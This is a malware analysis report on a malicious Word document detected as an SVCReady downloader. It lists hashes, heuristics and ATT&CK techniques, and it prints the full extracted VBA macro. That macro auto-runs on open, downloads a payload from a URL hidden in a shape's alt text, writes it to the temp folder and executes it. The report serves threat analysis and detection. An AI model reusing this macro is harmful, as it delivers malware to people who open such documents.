Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 beab9687193a17c2…

MALICIOUS

Office (OOXML)

111.7 KB Created: 2020-07-30 08:05:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-15
MD5: b6e50426058f83339e1c01fd0fe97923 SHA-1: 432ab00adb2c14435183dd9c60e98b0f88c29ef3 SHA-256: beab9687193a17c2152dbcfccd635e7e61e877862d7bb4c81afc4e56744e0f17
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen subroutine that is designed to download and execute a second-stage payload. The script reconstructs the temporary directory path and appends 'main.theme' to it, then uses WshShell.exec to run this file. The URL for the download is embedded in the document's alternative text property.

Heuristics 7

  • ClamAV: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Framework\rels\builds\pack2\us.jpg
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1721 bytes
SHA-256: 30988e4718484f26cbb78bca2e0de0680c25a6cf8d77c5a0ed387a84e5f0351b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "d66f7af9"
Sub AutoOpen()
Dim b7bcf8b7 As New cf2f796b
aaa = fc935e6d(ec585bbd)
b7cd19bc = b7bcf8b7.bb04d297(aaa, "")
c62450dc daf2dc9e, b7cd19bc
ae5e307b = fc935e6d(ActiveDocument.Shapes(1).Title)
Dim c76b197b As New WshShell
c76b197b.exec "" & ae5e307b & " " & daf2dc9e
End Sub

Attribute VB_Name = "ee727641"
Sub c62450dc(e15ff576, c255396c)
Dim a9f21d75
a9f21d75 = FreeFile
Open e15ff576 For Output As #a9f21d75
Print #a9f21d75, ac63f666(c255396c)
Close #a9f21d75
End Sub
Function daf2dc9e()
daf2dc9e = Environ("tmp") & "\main.theme"
End Function
Function fc935e6d(f0eac2e5)
'fc935e6d = StrReverse(f0eac2e5)
fc935e6d = f0eac2e5
End Function
Sub e01f2157()
End Sub
Function ac63f666(c255396c)
ac63f666 = StrConv(c255396c, 64)
End Function
Function ec585bbd()
ec585bbd = ActiveDocument.Shapes(1).AlternativeText
End Function

Attribute VB_Name = "cf2f796b"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function bb04d297(bfca8322, ab829878)
Dim d7d9a5be As Object
Set d7d9a5be = New MSXML2.XMLHTTP60
Call d7d9a5be.Open("GET", bfca8322, False)
d7d9a5be.Send
bb04d297 = d7d9a5be.responsebody
End Function
Function d2a60f63(aa3d583f)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 19456 bytes
SHA-256: 4a0f2b764342232b2d2c77e8a07e173aaa4967c29da344249b9557993100dc95

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